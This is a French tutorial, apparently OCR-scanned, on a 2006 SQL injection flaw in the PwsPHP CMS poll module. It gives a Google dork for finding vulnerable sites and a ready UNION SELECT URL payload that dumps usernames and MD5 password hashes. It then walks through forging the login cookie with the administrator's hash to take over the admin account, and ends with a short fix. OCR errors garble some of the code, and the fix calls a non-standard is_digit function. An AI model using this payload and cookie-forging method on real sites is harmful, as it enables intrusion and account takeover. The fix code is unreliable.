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Analyse et mise en ceuvre d’une faille de type injection SQL.



Avertissement

Les informations distribuées dans ce document sont données a titre purement éducatif.
Essayer de prendre le contrdle s’un systeme distant est passible de prison. De plus, la faille décrite ici
remonte au 26/02/2006, elle n'est donc que quasiment plus présente. Si vous trouvez un site
sensible, merci de prévenir I'administrateur.

1 Pwsphp

PWSPHP (Portail Web system) est un CMS (Content Managing System) écrit en PHP et qui a
I'avantage d'étre trés facile d'utilisation, gratuit et complet. Il permet de créer son propre site
dynamique, avec news, forum, articles, téléchargements, sondages, livre d'or, gestion de groupes,
parties privées, etc... De plus, de nombreux themes et modules additionnels permettent une
personnalisation avancée du site. Le projet PwsPHP a été abandonné, je crois a cause de cette faille,
mais les développeurs se sont lancé dans un autre projet : KwsPHP.

» Site officiel de PwsPHP : http://pwsphp.free.fr

e Site officiel de KwsPHP : http://www.kwsphp.org/

Portail Web System

2 Ou se situe la faille

La faille se situe dans le fichier /modules/sondage/index.php. N'aillant que la version 1.2.2 a
disposition, je vous donne les références des lignes pour celle-ci. Les lignes de code incriminées sont
dela75etla78:

if ( ($do == 'results’ && $id =" ") || (isset($ch 0ix) && $choix S= 1"
&& $choix <="8" && $idI=""))

$sgl = "SELECT * FROM sondages WHERE id=$id LIMIT 1 "

Vous pourrez constater que la seul vérification du contenu de la variable $id est quelle ne
doit pas étre vide. Cela permet de lui affecter n'importe quoi, en particulier une requéte SQL qui
viendra s'exécuter en méme temps que celle de la ligne 78 grace a une union.




3 Comment I'exploiter

3.1 Trouver des cibles

C'est une grande question tout de méme, comment trouver des sites qui utilise PwsPHP?
C'est simple, il faut se servir de I'outil le plus utilisé sur internet, celui que vous avez presque tous en
page d'accueil, qui vous permet de tout savoir en 1 clique : Google ! Certains auront remarqué une
phrase présente sur tous les portails pwsphp, tout en bas : "Réalisé avec Pwsphp". Il suffit de taper
cela (avec les doubles cotes) dans Google et voila 10 pages de victimes potentielles qui s'affiche.

3.2 Se connecter avec le compte de I'administrateur
Pour exploiter cette faille, il suffit de rajouter ceci dans I'url:

http://www.le_site_en_question.com/index.php?mod=so ndages&do=results&id=1%2
Ounion%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0 ,0,0,0,0,0,0,0,0,0,0%20f
rom%20%60users%60%20/*

Vous reconnaitrez une requéte SQL non cryptée dans I'url, les %20représentent des espaces.
Celle-ci a pour effet d'afficher les hash MD5 des mots de passe des utilisateurs, ainsi que leur login.
Vous pouvez bien slr en mettre une autre comme, par exemple, supprimer tous les utilisateurs du
site, mais la n'est pas I'intérét. Maintenant que nous possédons les hash md5, nous pouvons essayer
de les décrypter. Oui, je sais, les md5 sont irréversibles, mais on peut les trouver par comparaison.
Pour cela, vous avez le choix entre le logiciel Cain ou des sites de reversing comme et bien d'autres.
Mais encore une fois, la n'est pas I'intérét de la manipulation.
En effet, on peut a partie du hash md5 détourner le cookie du site et ainsi se connecter
tranquillement en temps qu'administrateur sans méme connaitre sont mot de passe! Pour cela
inscrivez-vous sur le site, créez un compte bidon sur une adresse mail bidon créé pour I'occasion
dans le cas ou il faut valider l'inscription par mail. Une fois créé le compte créé, connectez vous en
cocher la case de connexion automatique. Puis allez chercher dans vos cookies (C:\Documents and
Settings\nom_d'utilisateur\Cookies\) celui du site.




Il doit étre de cette forme la une fois ouvert avec WordPad (pas de bloc note, parce que ca
ne sera pas tres clair):

pseudo

SkelTryX
www.le_site_en_question.com
1536

1111536384

29842421

1686495184

29768996

pass
cc3b07201b26f653b0317d3d1102f392
www.le_site_en_question.com

1536

1111536384

29842421

1686645184

29768996

En gras, il y a votre pseudo et votre mot de passe en md5.
Donc vous l'aurez surement compris, il vous suffit de remplacer le pseudo par celui de
I'administrateur et le hash par celui de l'administrateur également. Fermez votre navigateur,
enregistrez votre cookie ainsi modifié, relancez I'explorateur et allez sur le site. Vous constaterez que
vous étes connecté sur le compte de I'administrateur.

4 Comment la corriger

Il existe plusieurs manieres de corriger cette faille. Je vous propose d'utiliser la fonction PHP
is_numeric() . Cette fonction renvoie vrai si le chaine de caractéres est un nombre, faux sinon. La
variable Sid est forcément un entier, on peut alors modifier la ligne 75 de la maniére suivante:

if ( ($do == 'results' && is_digit($id)) || (isset( $choix) && $choix >=
"1" && $choix <= "8" && is_digit($id)) )

Cela permet de corriger la faille et comme le caractere vide n'est pas un nombre, le
fonctionnement n'est pas altéré.




Conclusion

Les failles de type injection SQL sont tres répandu et parfois difficile a identifier. Elles sont
pourtant tres dangereuses et un site peut étre détruit a travers elles. Elles le sont d'autant plus sur
les CMS car [l'architecture de la base de données est connue de tous.
Je vous propose quelques liens pour ceux qui voudraient approfondir leurs connaissances dans ce
domaine:

Ghosts In The Stack, Les bases des Injections SQL :
http://www.ghostsinthestack.org/article-8-les-bases-des-injections-sql.html

PHP Secure, Injection (My)SQL via PHP :
http://www.phpsecure.info/v2/article/InjSal.php

Wikipedia, Injection SQL :
http://fr.wikipedia.org/wiki/Injection SQL




